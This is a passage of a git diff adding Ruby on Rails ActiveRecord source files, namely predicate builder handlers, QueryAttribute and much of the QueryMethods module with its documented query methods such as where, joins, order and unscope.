diff --git a/activerecord/lib/active_record/relation/predicate_builder/polymorphic_array_value.rb b/activerecord/lib/active_record/relation/predicate_builder/polymorphic_array_value.rb
new file mode 100644
index 0000000000..b87b5c36dd
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/polymorphic_array_value.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class PredicateBuilder
+    class PolymorphicArrayValue # :nodoc:
+      def initialize(associated_table, values)
+        @associated_table = associated_table
+        @values = values
+      end
+
+      def queries
+        type_to_ids_mapping.map do |type, ids|
+          {
+            associated_table.association_foreign_type.to_s => type,
+            associated_table.association_foreign_key.to_s => ids
+          }
+        end
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+        attr_reader :associated_table, :values
+
+      private
+        def type_to_ids_mapping
+          default_hash = Hash.new { |hsh, key| hsh[key] = [] }
+          values.each_with_object(default_hash) { |value, hash| hash[base_class(value).name] << convert_to_id(value) }
+        end
+
+        def primary_key(value)
+          associated_table.association_primary_key(base_class(value))
+        end
+
+        def base_class(value)
+          case value
+          when Base
+            value.class.base_class
+          when Relation
+            value.klass.base_class
+          end
+        end
+
+        def convert_to_id(value)
+          case value
+          when Base
+            value._read_attribute(primary_key(value))
+          when Relation
+            value.select(primary_key(value))
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/range_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/range_handler.rb
new file mode 100644
index 0000000000..6d16579708
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/range_handler.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class PredicateBuilder
+    class RangeHandler # :nodoc:
+      class RangeWithBinds < Struct.new(:begin, :end)
+        def exclude_end?
+          false
+        end
+      end
+
+      def initialize(predicate_builder)
+        @predicate_builder = predicate_builder
+      end
+
+      def call(attribute, value)
+        begin_bind = predicate_builder.build_bind_attribute(attribute.name, value.begin)
+        end_bind = predicate_builder.build_bind_attribute(attribute.name, value.end)
+        if value.begin.respond_to?(:infinite?) && value.begin.infinite?
+          if value.end.respond_to?(:infinite?) && value.end.infinite?
+            attribute.not_in([])
+          elsif value.exclude_end?
+            attribute.lt(end_bind)
+          else
+            attribute.lteq(end_bind)
+          end
+        elsif value.end.respond_to?(:infinite?) && value.end.infinite?
+          attribute.gteq(begin_bind)
+        elsif value.exclude_end?
+          attribute.gteq(begin_bind).and(attribute.lt(end_bind))
+        else
+          attribute.between(RangeWithBinds.new(begin_bind, end_bind))
+        end
+      end
+
+      protected
+
+        attr_reader :predicate_builder
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb
new file mode 100644
index 0000000000..f51ea4fde0
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class PredicateBuilder
+    class RelationHandler # :nodoc:
+      def call(attribute, value)
+        if value.select_values.empty?
+          value = value.select(value.arel_attribute(value.klass.primary_key))
+        end
+
+        attribute.in(value.arel)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/query_attribute.rb b/activerecord/lib/active_record/relation/query_attribute.rb
new file mode 100644
index 0000000000..5a9a7fd432
--- /dev/null
+++ b/activerecord/lib/active_record/relation/query_attribute.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require_relative "../attribute"
+
+module ActiveRecord
+  class Relation
+    class QueryAttribute < Attribute # :nodoc:
+      def type_cast(value)
+        value
+      end
+
+      def value_for_database
+        @value_for_database ||= super
+      end
+
+      def with_cast_value(value)
+        QueryAttribute.new(name, value, type)
+      end
+
+      def nil?
+        !value_before_type_cast.is_a?(StatementCache::Substitute) &&
+          (value_before_type_cast.nil? || value_for_database.nil?)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/query_methods.rb b/activerecord/lib/active_record/relation/query_methods.rb
new file mode 100644
index 0000000000..f7fe968b55
--- /dev/null
+++ b/activerecord/lib/active_record/relation/query_methods.rb
@@ -0,0 +1,1193 @@
+# frozen_string_literal: true
+
+require_relative "from_clause"
+require_relative "query_attribute"
+require_relative "where_clause"
+require_relative "where_clause_factory"
+require "active_model/forbidden_attributes_protection"
+
+module ActiveRecord
+  module QueryMethods
+    extend ActiveSupport::Concern
+
+    include ActiveModel::ForbiddenAttributesProtection
+
+    # WhereChain objects act as placeholder for queries in which #where does not have any parameter.
+    # In this case, #where must be chained with #not to return a new relation.
+    class WhereChain
+      include ActiveModel::ForbiddenAttributesProtection
+
+      def initialize(scope)
+        @scope = scope
+      end
+
+      # Returns a new relation expressing WHERE + NOT condition according to
+      # the conditions in the arguments.
+      #
+      # #not accepts conditions as a string, array, or hash. See QueryMethods#where for
+      # more details on each format.
+      #
+      #    User.where.not("name = 'Jon'")
+      #    # SELECT * FROM users WHERE NOT (name = 'Jon')
+      #
+      #    User.where.not(["name = ?", "Jon"])
+      #    # SELECT * FROM users WHERE NOT (name = 'Jon')
+      #
+      #    User.where.not(name: "Jon")
+      #    # SELECT * FROM users WHERE name != 'Jon'
+      #
+      #    User.where.not(name: nil)
+      #    # SELECT * FROM users WHERE name IS NOT NULL
+      #
+      #    User.where.not(name: %w(Ko1 Nobu))
+      #    # SELECT * FROM users WHERE name NOT IN ('Ko1', 'Nobu')
+      #
+      #    User.where.not(name: "Jon", role: "admin")
+      #    # SELECT * FROM users WHERE name != 'Jon' AND role != 'admin'
+      def not(opts, *rest)
+        opts = sanitize_forbidden_attributes(opts)
+
+        where_clause = @scope.send(:where_clause_factory).build(opts, rest)
+
+        @scope.references!(PredicateBuilder.references(opts)) if Hash === opts
+        @scope.where_clause += where_clause.invert
+        @scope
+      end
+    end
+
+    FROZEN_EMPTY_ARRAY = [].freeze
+    FROZEN_EMPTY_HASH = {}.freeze
+
+    Relation::VALUE_METHODS.each do |name|
+      method_name = \
+        case name
+        when *Relation::MULTI_VALUE_METHODS then "#{name}_values"
+        when *Relation::SINGLE_VALUE_METHODS then "#{name}_value"
+        when *Relation::CLAUSE_METHODS then "#{name}_clause"
+        end
+      class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def #{method_name}                   # def includes_values
+          get_value(#{name.inspect})         #   get_value(:includes)
+        end                                  # end
+
+        def #{method_name}=(value)           # def includes_values=(value)
+          set_value(#{name.inspect}, value)  #   set_value(:includes, value)
+        end                                  # end
+      CODE
+    end
+
+    alias extensions extending_values
+
+    # Specify relationships to be included in the result set. For
+    # example:
+    #
+    #   users = User.includes(:address)
+    #   users.each do |user|
+    #     user.address.city
+    #   end
+    #
+    # allows you to access the +address+ attribute of the +User+ model without
+    # firing an additional query. This will often result in a
+    # performance improvement over a simple join.
+    #
+    # You can also specify multiple relationships, like this:
+    #
+    #   users = User.includes(:address, :friends)
+    #
+    # Loading nested relationships is possible using a Hash:
+    #
+    #   users = User.includes(:address, friends: [:address, :followers])
+    #
+    # === conditions
+    #
+    # If you want to add conditions to your included models you'll have
+    # to explicitly reference them. For example:
+    #
+    #   User.includes(:posts).where('posts.name = ?', 'example')
+    #
+    # Will throw an error, but this will work:
+    #
+    #   User.includes(:posts).where('posts.name = ?', 'example').references(:posts)
+    #
+    # Note that #includes works with association names while #references needs
+    # the actual table name.
+    def includes(*args)
+      check_if_method_has_arguments!(:includes, args)
+      spawn.includes!(*args)
+    end
+
+    def includes!(*args) # :nodoc:
+      args.reject!(&:blank?)
+      args.flatten!
+
+      self.includes_values |= args
+      self
+    end
+
+    # Forces eager loading by performing a LEFT OUTER JOIN on +args+:
+    #
+    #   User.eager_load(:posts)
+    #   # SELECT "users"."id" AS t0_r0, "users"."name" AS t0_r1, ...
+    #   # FROM "users" LEFT OUTER JOIN "posts" ON "posts"."user_id" =
+    #   # "users"."id"
+    def eager_load(*args)
+      check_if_method_has_arguments!(:eager_load, args)
+      spawn.eager_load!(*args)
+    end
+
+    def eager_load!(*args) # :nodoc:
+      self.eager_load_values += args
+      self
+    end
+
+    # Allows preloading of +args+, in the same way that #includes does:
+    #
+    #   User.preload(:posts)
+    #   # SELECT "posts".* FROM "posts" WHERE "posts"."user_id" IN (1, 2, 3)
+    def preload(*args)
+      check_if_method_has_arguments!(:preload, args)
+      spawn.preload!(*args)
+    end
+
+    def preload!(*args) # :nodoc:
+      self.preload_values += args
+      self
+    end
+
+    # Use to indicate that the given +table_names+ are referenced by an SQL string,
+    # and should therefore be JOINed in any query rather than loaded separately.
+    # This method only works in conjunction with #includes.
+    # See #includes for more details.
+    #
+    #   User.includes(:posts).where("posts.name = 'foo'")
+    #   # Doesn't JOIN the posts table, resulting in an error.
+    #
+    #   User.includes(:posts).where("posts.name = 'foo'").references(:posts)
+    #   # Query now knows the string references posts, so adds a JOIN
+    def references(*table_names)
+      check_if_method_has_arguments!(:references, table_names)
+      spawn.references!(*table_names)
+    end
+
+    def references!(*table_names) # :nodoc:
+      table_names.flatten!
+      table_names.map!(&:to_s)
+
+      self.references_values |= table_names
+      self
+    end
+
+    # Works in two unique ways.
+    #
+    # First: takes a block so it can be used just like <tt>Array#select</tt>.
+    #
+    #   Model.all.select { |m| m.field == value }
+    #
+    # This will build an array of objects from the database for the scope,
+    # converting them into an array and iterating through them using
+    # <tt>Array#select</tt>.
+    #
+    # Second: Modifies the SELECT statement for the query so that only certain
+    # fields are retrieved:
+    #
+    #   Model.select(:field)
+    #   # => [#<Model id: nil, field: "value">]
+    #
+    # Although in the above example it looks as though this method returns an
+    # array, it actually returns a relation object and can have other query
+    # methods appended to it, such as the other methods in ActiveRecord::QueryMethods.
+    #
+    # The argument to the method can also be an array of fields.
+    #
+    #   Model.select(:field, :other_field, :and_one_more)
+    #   # => [#<Model id: nil, field: "value", other_field: "value", and_one_more: "value">]
+    #
+    # You can also use one or more strings, which will be used unchanged as SELECT fields.
+    #
+    #   Model.select('field AS field_one', 'other_field AS field_two')
+    #   # => [#<Model id: nil, field: "value", other_field: "value">]
+    #
+    # If an alias was specified, it will be accessible from the resulting objects:
+    #
+    #   Model.select('field AS field_one').first.field_one
+    #   # => "value"
+    #
+    # Accessing attributes of an object that do not have fields retrieved by a select
+    # except +id+ will throw ActiveModel::MissingAttributeError:
+    #
+    #   Model.select(:field).first.other_field
+    #   # => ActiveModel::MissingAttributeError: missing attribute: other_field
+    def select(*fields)
+      if block_given?
+        if fields.any?
+          raise ArgumentError, "`select' with block doesn't take arguments."
+        end
+
+        return super()
+      end
+
+      raise ArgumentError, "Call `select' with at least one field" if fields.empty?
+      spawn._select!(*fields)
+    end
+
+    def _select!(*fields) # :nodoc:
+      fields.flatten!
+      fields.map! do |field|
+        klass.attribute_alias?(field) ? klass.attribute_alias(field).to_sym : field
+      end
+      self.select_values += fields
+      self
+    end
+
+    # Allows to specify a group attribute:
+    #
+    #   User.group(:name)
+    #   # SELECT "users".* FROM "users" GROUP BY name
+    #
+    # Returns an array with distinct records based on the +group+ attribute:
+    #
+    #   User.select([:id, :name])
+    #   # => [#<User id: 1, name: "Oscar">, #<User id: 2, name: "Oscar">, #<User id: 3, name: "Foo">]
+    #
+    #   User.group(:name)
+    #   # => [#<User id: 3, name: "Foo", ...>, #<User id: 2, name: "Oscar", ...>]
+    #
+    #   User.group('name AS grouped_name, age')
+    #   # => [#<User id: 3, name: "Foo", age: 21, ...>, #<User id: 2, name: "Oscar", age: 21, ...>, #<User id: 5, name: "Foo", age: 23, ...>]
+    #
+    # Passing in an array of attributes to group by is also supported.
+    #
+    #   User.select([:id, :first_name]).group(:id, :first_name).first(3)
+    #   # => [#<User id: 1, first_name: "Bill">, #<User id: 2, first_name: "Earl">, #<User id: 3, first_name: "Beto">]
+    def group(*args)
+      check_if_method_has_arguments!(:group, args)
+      spawn.group!(*args)
+    end
+
+    def group!(*args) # :nodoc:
+      args.flatten!
+
+      self.group_values += args
+      self
+    end
+
+    # Allows to specify an order attribute:
+    #
+    #   User.order(:name)
+    #   # SELECT "users".* FROM "users" ORDER BY "users"."name" ASC
+    #
+    #   User.order(email: :desc)
+    #   # SELECT "users".* FROM "users" ORDER BY "users"."email" DESC
+    #
+    #   User.order(:name, email: :desc)
+    #   # SELECT "users".* FROM "users" ORDER BY "users"."name" ASC, "users"."email" DESC
+    #
+    #   User.order('name')
+    #   # SELECT "users".* FROM "users" ORDER BY name
+    #
+    #   User.order('name DESC')
+    #   # SELECT "users".* FROM "users" ORDER BY name DESC
+    #
+    #   User.order('name DESC, email')
+    #   # SELECT "users".* FROM "users" ORDER BY name DESC, email
+    def order(*args)
+      check_if_method_has_arguments!(:order, args)
+      spawn.order!(*args)
+    end
+
+    def order!(*args) # :nodoc:
+      preprocess_order_args(args)
+
+      self.order_values += args
+      self
+    end
+
+    # Replaces any existing order defined on the relation with the specified order.
+    #
+    #   User.order('email DESC').reorder('id ASC') # generated SQL has 'ORDER BY id ASC'
+    #
+    # Subsequent calls to order on the same relation will be appended. For example:
+    #
+    #   User.order('email DESC').reorder('id ASC').order('name ASC')
+    #
+    # generates a query with 'ORDER BY id ASC, name ASC'.
+    def reorder(*args)
+      check_if_method_has_arguments!(:reorder, args)
+      spawn.reorder!(*args)
+    end
+
+    def reorder!(*args) # :nodoc:
+      preprocess_order_args(args)
+
+      self.reordering_value = true
+      self.order_values = args
+      self
+    end
+
+    VALID_UNSCOPING_VALUES = Set.new([:where, :select, :group, :order, :lock,
+                                     :limit, :offset, :joins, :includes, :from,
+                                     :readonly, :having])
+
+    # Removes an unwanted relation that is already defined on a chain of relations.
+    # This is useful when passing around chains of relations and would like to
+    # modify the relations without reconstructing the entire chain.
+    #
+    #   User.order('email DESC').unscope(:order) == User.all
+    #
+    # The method arguments are symbols which correspond to the names of the methods
+    # which should be unscoped. The valid arguments are given in VALID_UNSCOPING_VALUES.
+    # The method can also be called with multiple arguments. For example:
+    #
+    #   User.order('email DESC').select('id').where(name: "John")
+    #       .unscope(:order, :select, :where) == User.all
+    #
+    # One can additionally pass a hash as an argument to unscope specific +:where+ values.
+    # This is done by passing a hash with a single key-value pair. The key should be
+    # +:where+ and the value should be the where value to unscope. For example:
+    #
+    #   User.where(name: "John", active: true).unscope(where: :name)
+    #       == User.where(active: true)
+    #
+    # This method is similar to #except, but unlike
+    # #except, it persists across merges:
+    #
+    #   User.order('email').merge(User.except(:order))
+    #       == User.order('email')
+    #
+    #   User.order('email').merge(User.unscope(:order))
+    #       == User.all
+    #
+    # This means it can be used in association definitions:
+    #
+    #   has_many :comments, -> { unscope(where: :trashed) }
+    #
+    def unscope(*args)
+      check_if_method_has_arguments!(:unscope, args)
+      spawn.unscope!(*args)
+    end
+
+    def unscope!(*args) # :nodoc:
+      args.flatten!
+      self.unscope_values += args
+
+      args.each do |scope|
+        case scope
+        when Symbol
+          if !VALID_UNSCOPING_VALUES.include?(scope)
+            raise ArgumentError, "Called unscope() with invalid unscoping argument ':#{scope}'. Valid arguments are :#{VALID_UNSCOPING_VALUES.to_a.join(", :")}."
+          end
+          set_value(scope, nil)
+        when Hash
+          scope.each do |key, target_value|
+            if key != :where
+              raise ArgumentError, "Hash arguments in .unscope(*args) must have :where as the key."
+            end
+
+            target_values = Array(target_value).map(&:to_s)
+            self.where_clause = where_clause.except(*target_values)
+          end
+        else
+          raise ArgumentError, "Unrecognized scoping: #{args.inspect}. Use .unscope(where: :attribute_name) or .unscope(:order), for example."
+        end
+      end
+
+      self
+    end
+
+    # Performs a joins on +args+. The given symbol(s) should match the name of
+    # the association(s).
+    #
+    #   User.joins(:posts)
+    #   # SELECT "users".*
+    #   # FROM "users"
+    #   # INNER JOIN "posts" ON "posts"."user_id" = "users"."id"
+    #
+    # Multiple joins:
+    #
+    #   User.joins(:posts, :account)
+    #   # SELECT "users".*
+    #   # FROM "users"
+    #   # INNER JOIN "posts" ON "posts"."user_id" = "users"."id"
+    #   # INNER JOIN "accounts" ON "accounts"."id" = "users"."account_id"
+    #
+    # Nested joins:
+    #
+    #   User.joins(posts: [:comments])
+    #   # SELECT "users".*
+    #   # FROM "users"
+    #   # INNER JOIN "posts" ON "posts"."user_id" = "users"."id"
+    #   # INNER JOIN "comments" "comments_posts"
+    #   #   ON "comments_posts"."post_id" = "posts"."id"
+    #
+    # You can use strings in order to customize your joins:
+    #
+    #   User.joins("LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id")
+    #   # SELECT "users".* FROM "users" LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id
+    def joins(*args)
+      check_if_method_has_arguments!(:joins, args)
+      spawn.joins!(*args)
+    end
+
+    def joins!(*args) # :nodoc:
+      args.compact!
+      args.flatten!
+      self.joins_values += args
+      self
+    end
+
+    # Performs a left outer joins on +args+:
+    #
+    #   User.left_outer_joins(:posts)
+    #   => SELECT "users".* FROM "users" LEFT OUTER JOIN "posts" ON "posts"."user_id" = "users"."id"
+    #
+    def left_outer_joins(*args)
+      check_if_method_has_arguments!(:left_outer_joins, args)
+
+      args.compact!
+      args.flatten!
+
+      spawn.left_outer_joins!(*args)
+    end
+    alias :left_joins :left_outer_joins
+
+    def left_outer_joins!(*args) # :nodoc:
+      self.left_outer_joins_values += args
+      self
+    end
+
+    # Returns a new relation, which is the result of filtering the current relation
+    # according to the conditions in the arguments.
+    #
+    # #where accepts conditions in one of several formats. In the examples below, the resulting
+    # SQL is given as an illustration; the actual query generated may be different depending
+    # on the database adapter.
+    #
+    # === string
+    #
+    # A single string, without additional arguments, is passed to the query
+    # constructor as an SQL fragment, and used in the where clause of the query.
+    #
+    #    Client.where("orders_count = '2'")
+    #    # SELECT * from clients where orders_count = '2';
+    #
+    # Note that building your own string from user input may expose your application
+    # to injection attacks if not done properly. As an alternative, it is recommended
+    # to use one of the following methods.
+    #
+    # === array
+    #
+    # If an array is passed, then the first element of the array is treated as a template, and
+    # the remaining elements are inserted into the template to generate the condition.
+    # Active Record takes care of building the query to avoid injection attacks, and will
+    # convert from the ruby type to the database type where needed. Elements are inserted
+    # into the string in the order in which they appear.
+    #
+    #   User.where(["name = ? and email = ?", "Joe", "joe@example.com"])
+    #   # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe@example.com';
+    #
+    # Alternatively, you can use named placeholders in the template, and pass a hash as the
+    # second element of the array. The names in the template are replaced with the corresponding
+    # values from the hash.
+    #
+    #   User.where(["name = :name and email = :email", { name: "Joe", email: "joe@example.com" }])
+    #   # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe@example.com';
+    #
+    # This can make for more readable code in complex queries.
+    #
+    # Lastly, you can use sprintf-style % escapes in the template. This works slightly differently
+    # than the previous methods; you are responsible for ensuring that the values in the template
+    # are properly quoted. The values are passed to the connector for quoting, but the caller
+    # is responsible for ensuring they are enclosed in quotes in the resulting SQL. After quoting,
+    # the values are inserted using the same escapes as the Ruby core method +Kernel::sprintf+.
+    #
+    #   User.where(["name = '%s' and email = '%s'", "Joe", "joe@example.com"])
+    #   # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe@example.com';
+    #
+    # If #where is called with multiple arguments, these are treated as if they were passed as
+    # the elements of a single array.
+    #
+    #   User.where("name = :name and email = :email", { name: "Joe", email: "joe@example.com" })
+    #   # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe@example.com';
+    #
+    # When using strings to specify conditions, you can use any operator available from
+    # the database. While this provides the most flexibility, you can also unintentionally introduce
+    # dependencies on the underlying database. If your code is intended for general consumption,
+    # test with multiple database backends.
+    #
+    # === hash
+    #
+    # #where will also accept a hash condition, in which the keys are fields and the values
+    # are values to be searched for.
+    #
+    # Fields can be symbols or strings. Values can be single values, arrays, or ranges.
+    #
+    #    User.where({ name: "Joe", email: "joe@example.com" })
+    #    # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe@example.com'
+    #
+    #    User.where({ name: ["Alice", "Bob"]})
+    #    # SELECT * FROM users WHERE name IN ('Alice', 'Bob')
+    #
+    #    User.where({ created_at: (Time.now.midnight - 1.day)..Time.now.midnight })
+    #    # SELECT * FROM users WHERE (created_at BETWEEN '2012-06-09 07:00:00.000000' AND '2012-06-10 07:00:00.000000')
+    #
+    # In the case of a belongs_to relationship, an association key can be used
+    # to specify the model if an ActiveRecord object is used as the value.
+    #
+    #    author = Author.find(1)
+    #
+    #    # The following queries will be equivalent:
+    #    Post.where(author: author)
+    #    Post.where(author_id: author)
+    #
+    # This also works with polymorphic belongs_to relationships:
+    #
+    #    treasure = Treasure.create(name: 'gold coins')
+    #    treasure.price_estimates << PriceEstimate.create(price: 125)
+    #
+    #    # The following queries will be equivalent:
+    #    PriceEstimate.where(estimate_of: treasure)
+    #    PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: treasure)
+    #
+    # === Joins
+    #
+    # If the relation is the result of a join, you may create a condition which uses any of the
+    # tables in the join. For string and array conditions, use the table name in the condition.
+    #
+    #    User.joins(:posts).where("posts.created_at < ?", Time.now)
+    #
+    # For hash conditions, you can either use the table name in the key, or use a sub-hash.
+    #
+    #    User.joins(:posts).where({ "posts.published" => true })
+    #    User.joins(:posts).where({ posts: { published: true } })
+    #
+    # === no argument
+    #
+    # If no argument is passed, #where returns a new instance of WhereChain, that
+    # can be chained with #not to return a new relation that negates the where clause.
+    #
+    #    User.where.not(name: "Jon")
+    #    # SELECT * FROM users WHERE name != 'Jon'
+    #
+    # See WhereChain for more details on #not.
+    #
+    # === blank condition
+    #
+    # If the condition is any blank-ish object, then #where is a no-op and returns
+    # the current relation.
+    def where(opts = :chain, *rest)
+      if :chain == opts
+        WhereChain.new(spawn)
+      elsif opts.blank?
+        self
+      else
+        spawn.where!(opts, *rest)
+      end
+    end
+
+    def where!(opts, *rest) # :nodoc:
+      opts = sanitize_forbidden_attributes(opts)
+      references!(PredicateBuilder.references(opts)) if Hash === opts
+      self.where_clause += where_clause_factory.build(opts, rest)
+      self
+    end
+
+    # Allows you to change a previously set where condition for a given attribute, instead of appending to that condition.
+    #
+    #   Post.where(trashed: true).where(trashed: false)
+    #   # WHERE `trashed` = 1 AND `trashed` = 0
+    #
+    #   Post.where(trashed: true).rewhere(trashed: false)
+    #   # WHERE `trashed` = 0
+    #
+    #   Post.where(active: true).where(trashed: true).rewhere(trashed: false)
+    #   # WHERE `active` = 1 AND `trashed` = 0
+    #
+    # This is short-hand for <tt>unscope(where: conditions.keys).where(conditions)</tt>.
+    # Note that unlike reorder, we're only unscoping the named conditions -- not the entire where statement.
+    def rewhere(conditions)
+      unscope(where: conditions.keys).where(conditions)
+    end
+
+    # Returns a new relation, which is the logical union of this relation and the one passed as an
+    # argument.
+    #
+    # The two relations must be structurally compatible: they must be scoping the same model, and
+    # they must differ only by #where (if no #group has been defined) or #having (if a #group is
+    # present). Neither relation may have a #limit, #offset, or #distinct set.
+    #
+    #    Post.where("id = 1").or(Post.where("author_id = 3"))
+    #    # SELECT `posts`.* FROM `posts` WHERE ((id = 1) OR (author_id = 3))
+    #
+    def or(other)
+      unless other.is_a? Relation
+        raise ArgumentError, "You have passed #{other.class.name} object to #or. Pass an ActiveRecord::Relation object instead."
+      end
+
+      spawn.or!(other)
+    end
+
+    def or!(other) # :nodoc:
+      incompatible_values = structurally_incompatible_values_for_or(other)
+
+      unless incompatible_values.empty?
+        raise ArgumentError, "Relation passed to #or must be structurally compatible. Incompatible values: #{incompatible_values}"
+      end
+
+      self.where_clause = self.where_clause.or(other.where_clause)
+      self.having_clause = having_clause.or(other.having_clause)
+      self.references_values += other.references_values
+
+      self
+    end
+
+    # Allows to specify a HAVING clause. Note that you can't use HAVING
+    # without also specifying a GROUP clause.
+    #
+    #   Order.having('SUM(price) > 30').group('user_id')
+    def having(opts, *rest)
+      opts.blank? ? self : spawn.having!(opts, *rest)
+    end
+
+    def having!(opts, *rest) # :nodoc:
+      opts = sanitize_forbidden_attributes(opts)
+      references!(PredicateBuilder.references(opts)) if Hash === opts
+
+      self.having_clause += having_clause_factory.build(opts, rest)
+      self
+    end
+
+    # Specifies a limit for the number of records to retrieve.
+    #
+    #   User.limit(10) # generated SQL has 'LIMIT 10'
+    #
+    #   User.limit(10).limit(20) # generated SQL has 'LIMIT 20'
+    def limit(value)
+      spawn.limit!(value)
+    end
+
+    def limit!(value) # :nodoc:
+      self.limit_value = value
+      self
+    end
+
+    # Specifies the number of rows to skip before returning rows.
+    #
+    #   User.offset(10) # generated SQL has "OFFSET 10"
+    #
+    # Should be used with order.
+    #
+    #   User.offset(10).order("name ASC")
+    def offset(value)
+      spawn.offset!(value)
+    end
+
+    def offset!(value) # :nodoc:
+      self.offset_value = value
+      self
+    end
+
+    # Specifies locking settings (default to +true+). For more information
+    # on locking, please see ActiveRecord::Locking.
+    def lock(locks = true)
+      spawn.lock!(locks)
+    end
+
+    def lock!(locks = true) # :nodoc:
+      case locks
+      when String, TrueClass, NilClass
+        self.lock_value = locks || true
+      else
+        self.lock_value = false
+      end
+
+      self
+    end
+
+    # Returns a chainable relation with zero records.
+    #
+    # The returned relation implements the Null Object pattern. It is an
+    # object with defined null behavior and always returns an empty array of
+    # records without querying the database.
+    #
+    # Any subsequent condition chained to the returned relation will continue
+    # generating an empty relation and will not fire any query to the database.
+    #
+    # Used in cases where a method or scope could return zero records but the
+    # result needs to be chainable.
+    #
+    # For example:
+    #
+    #   @posts = current_user.visible_posts.where(name: params[:name])
+    #   # the visible_posts method is expected to return a chainable Relation
+    #
+    #   def visible_posts
+    #     case role
+    #     when 'Country Manager'
+    #       Post.where(country: country)
+    #     when 'Reviewer'
+    #       Post.published
+    #     when 'Bad User'
+    #       Post.none # It can't be chained if [] is returned.
+    #     end
+    #   end
+    #
+    def none
+      spawn.none!
+    end
+
+    def none! # :nodoc:
+      where!("1=0").extending!(NullRelation)
+    end
+
+    # Sets readonly attributes for the returned relation. If value is
+    # true (default), attempting to update a record will result in an error.
+    #
+    #   users = User.readonly
+    #   users.first.save
+    #   => ActiveRecord::ReadOnlyRecord: User is marked as readonly
+    def readonly(value = true)
+      spawn.readonly!(value)
+    end
+
+    def readonly!(value = true) # :nodoc:
+      self.readonly_value = value
+      self
+    end
+
+    # Sets attributes to be used when creating new records from a
+    # relation object.
+    #
+    #   users = User.where(name: 'Oscar')
+    #   users.new.name # => 'Oscar'
+    #
+    #   users = users.create_with(name: 'DHH')
+    #   users.new.name # => 'DHH'
+    #
+    # You can pass +nil+ to #create_with to reset attributes:
+    #
+    #   users = users.create_with(nil)
+    #   users.new.name # => 'Oscar'
+    def create_with(value)
+      spawn.create_with!(value)
+    end
+
+    def create_with!(value) # :nodoc:
+      if value
+        value = sanitize_forbidden_attributes(value)
+        self.create_with_value = create_with_value.merge(value)
+      else
+        self.create_with_value = FROZEN_EMPTY_HASH
+      end
+
+      self
+    end
+
+    # Specifies table from which the records will be fetched. For example:
+    #
+    #   Topic.select('title').from('posts')
+    #   # SELECT title FROM posts
+    #
+    # Can accept other relation objects. For example:
+    #
+    #   Topic.select('title').from(Topic.approved)
+    #   # SELECT title FROM (SELECT * FROM topics WHERE approved = 't') subquery
+    #
+    #   Topic.select('a.title').from(Topic.approved, :a)
+    #   # SELECT a.title FROM (SELECT * FROM topics WHERE approved = 't') a
+    #
+    def from(value, subquery_name = nil)
+      spawn.from!(value, subquery_name)
+    end
+
+    def from!(value, subquery_name = nil) # :nodoc:
+      self.from_clause = Relation::FromClause.new(value, subquery_name)
+      self
+    end
+
+    # Specifies whether the records should be unique or not. For example:
+    #
+    #   User.select(:name)
+    #   # Might return two records with the same name
+    #
+    #   User.select(:name).distinct
+    #   # Returns 1 record per distinct name
+    #
+    #   User.select(:name).distinct.distinct(false)
+    #   # You can also remove the uniqueness
+    def distinct(value = true)
+      spawn.distinct!(value)
+    end
+
+    # Like #distinct, but modifies relation in place.
+    def distinct!(value = true) # :nodoc:
+      self.distinct_value = value
+      self
+    end
+
+    # Used to extend a scope with additional methods, either through
+    # a module or through a block provided.
+    #
+    # The object returned is a relation, which can be further extended.
+    #
+    # === Using a module
+    #
+    #   module Pagination
+    #     def page(number)
+    #       # pagination code goes here
+    #     end
+    #   end
+    #
+    #   scope = Model.all.extending(Pagination)
+    #   scope.page(params[:page])
+    #
+    # You can also pass a list of modules:
+    #
+    #   scope = Model.all.extending(Pagination, SomethingElse)
+    #
+    # === Using a block
+    #
+    #   scope = Model.all.extending do
+    #     def page(number)
+    #       # pagination code goes here
+    #     end
+    #   end
+    #   scope.page(params[:page])
+    #
+    # You can also use a block and a module list:
+    #
+    #   scope = Model.all.extending(Pagination) do
+    #     def per_page(number)
+    #       # pagination code goes here
+    #     end
+    #   end
+    def extending(*modules, &block)
+      if modules.any? || block
+        spawn.extending!(*modules, &block)
+      else
+        self
+      end
+    end
+
+    def extending!(*modules, &block) # :nodoc:
+      modules << Module.new(&block) if block
+      modules.flatten!
+
+      self.extending_values += modules
+      extend(*extending_values) if extending_values.any?
+
+      self
+    end
+
+    # Reverse the existing order clause on the relation.
+    #
+    #   User.order('name ASC').reverse_order # generated SQL has 'ORDER BY name DESC'
+    def reverse_order
+      spawn.reverse_order!
+    end
+
+    def reverse_order! # :nodoc:
+      orders = order_values.uniq
+      orders.reject!(&:blank?)
+      self.order_values = reverse_sql_order(orders)
+      self
+    end
+
+    def skip_query_cache! # :nodoc:
+      self.skip_query_cache_value = true
+      self
+    end
+
+    # Returns the Arel object associated with the relation.
+    def arel # :nodoc:
+      @arel ||= build_arel
+    end
+
+    # Returns a relation value with a given name
+    def get_value(name) # :nodoc:
+      @values[name] || default_value_for(name)
+    end
+
